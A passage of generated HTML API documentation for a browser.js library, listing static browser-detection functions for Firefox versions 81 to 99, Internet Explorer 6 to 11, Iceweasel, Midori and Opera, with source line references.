FF81</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line801\">line 801</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF82\"><span class=\"type-signature\">(static) </span>isFF82<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF82</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line809\">line 809</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF83\"><span class=\"type-signature\">(static) </span>isFF83<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF83</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line817\">line 817</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF84\"><span class=\"type-signature\">(static) </span>isFF84<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF84</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line825\">line 825</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF85\"><span class=\"type-signature\">(static) </span>isFF85<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF85</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line833\">line 833</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF86\"><span class=\"type-signature\">(static) </span>isFF86<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF86</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line841\">line 841</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF87\"><span class=\"type-signature\">(static) </span>isFF87<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF87</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line849\">line 849</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF88\"><span class=\"type-signature\">(static) </span>isFF88<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF88</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line857\">line 857</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF89\"><span class=\"type-signature\">(static) </span>isFF89<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF89</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line865\">line 865</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF9\"><span class=\"type-signature\">(static) </span>isFF9<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF9.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line225\">line 225</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF90\"><span class=\"type-signature\">(static) </span>isFF90<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF90</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line873\">line 873</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF91\"><span class=\"type-signature\">(static) </span>isFF91<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF91</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line881\">line 881</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF92\"><span class=\"type-signature\">(static) </span>isFF92<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF92</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line889\">line 889</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF93\"><span class=\"type-signature\">(static) </span>isFF93<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF93</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line897\">line 897</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF94\"><span class=\"type-signature\">(static) </span>isFF94<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF94</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line905\">line 905</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF95\"><span class=\"type-signature\">(static) </span>isFF95<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF95</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line913\">line 913</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF96\"><span class=\"type-signature\">(static) </span>isFF96<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF96</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line921\">line 921</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF97\"><span class=\"type-signature\">(static) </span>isFF97<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF97</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line929\">line 929</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF98\"><span class=\"type-signature\">(static) </span>isFF98<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF98</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line937\">line 937</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF99\"><span class=\"type-signature\">(static) </span>isFF99<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF99</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line945\">line 945</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFFbowser\"><span class=\"type-signature\">(static) </span>isFFbowser<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if the browser is any version of Firefox.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line953\">line 953</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isIE\"><span class=\"type-signature\">(static) </span>isIE<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if IE.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line145\">line 145</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isIE10\"><span class=\"type-signature\">(static) </span>isIE10<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if IE10.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line119\">line 119</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isIE11\"><span class=\"type-signature\">(static) </span>isIE11<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if IE11.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line128\">line 128</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isIE6\"><span class=\"type-signature\">(static) </span>isIE6<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if IE6.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line86\">line 86</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isIE7\"><span class=\"type-signature\">(static) </span>isIE7<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if IE7.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line94\">line 94</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isIE8\"><span class=\"type-signature\">(static) </span>isIE8<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if IE8.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line102\">line 102</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isIE9\"><span class=\"type-signature\">(static) </span>isIE9<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if IE9.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line110\">line 110</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isIceweasel\"><span class=\"type-signature\">(static) </span>isIceweasel<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Iceweasel.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line54\">line 54</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isMidori\"><span class=\"type-signature\">(static) </span>isMidori<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Midori.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line62\">line 62</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isO\"><span class=\"type-signature\">(static) </span>isO<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Opera.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2525\">line 2525</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isO10\"><span class=\"type-signature\">(static) </span>isO10<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Opera 10.xx.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2491\">line 2491</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isO11\"><span class=\"type-signature\">(static) </span>isO11<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Opera 11.xx.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2499\">line 2499</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isO12\"><span class=\"type-signature\">(static) </span>isO12<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Opera 12.xx.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2507\">line 2507</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isO9_52\"><span class=\"type-signature\">(static) </span>isO9_52<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Opera 9.50 through 9.52.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2475\">line 2475</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isO9_60\"><span class=\"type-signature\">(static) </span>isO9_60<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Opera 9.60 through 9.64.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a 